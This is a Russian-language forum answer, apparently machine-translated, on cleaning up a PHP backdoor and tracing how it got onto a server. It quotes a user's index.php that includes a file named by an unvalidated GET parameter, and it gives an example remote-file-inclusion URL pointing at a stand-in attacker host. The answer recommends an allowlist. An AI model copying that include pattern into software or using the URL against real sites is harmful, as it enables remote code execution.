Ответ 1
переименуйте файл немедленно (на что-то другое .php), прежде чем его снова осмотреть, поэтому любой злоумышленник больше не сможет его использовать.
Затем исследуйте, как они могли ввести это на ваш сервер.
В ваших журналах доступа вы найдете страницы-загрузки, которые загружают этот конкретный файл PHP. Это будет вашим первым ключом. Изучите другие соединения с одного и того же IP-адреса, например, и посмотрите, какие сценарии они получили/злоупотребляли. Где-то вы, вероятно, обнаружите, что у вас устаревший/уязвимый плагин WordPress, подключаемый модуль joomla и т.д. Обновите или удалите этот плагин как можно скорее, или вы скоро будете взломаны!
Также при проверке ваших журналов доступа, посмотрите, загрузили ли они новые бэкдоры! Возможно, вы видите, что некоторые сценарии вызываются по тому же IP-адресу, который не должен существовать. Удалите/переименуйте их тоже!
Что делает код довольно простой, но довольно продвинутый: Это позволяет владельцу пароля выполнить любой код, который вы могли бы выполнить через PHP. Расширенный бит - это то, что его трудно обнаружить. Он не использует base64, не eval и т.д.
изменить
idealizm сказал в комментариях:
Я фактически не использую Wordpress (или любую другую CMS) в этом домене, но у меня есть файл index.php, который обрабатывает динамическое создание различных страниц, делая добавление существующего файла с префиксом подчеркивания - поэтому index.php? go = about будет включать ( "about.php" ). Он проверяет, существует ли файл, и, если нет, включает только файл по умолчанию. Я надеялся, что это достаточно безопасно. Это где они могли бы использовать мой код? `if ($ _GET ['go'] == '') {$ go = 'videos'; } else {$ go = $_GET ['go']; } if (! (file_exists (''. $go. '. php'))) {$ go = 'videos'; }
Да, может быть твоя проблема! Вы говорите, что прилагаемый файл имеет префикс с подчеркиванием, но я не вижу этого в вашем коде... Итак, если хакер отправился в index.php?go=http://hackerssite.com/hackerscode
, вы в конечном итоге включите код http://hackerssite.com/hackerscode.php
и допустите хаос!
Удалить (и никогда не разрешать) включение кода прямого ввода пользователем. Проверьте $_GET['go']
на массив разрешенных включенных страниц или используйте switch
для вызова include
.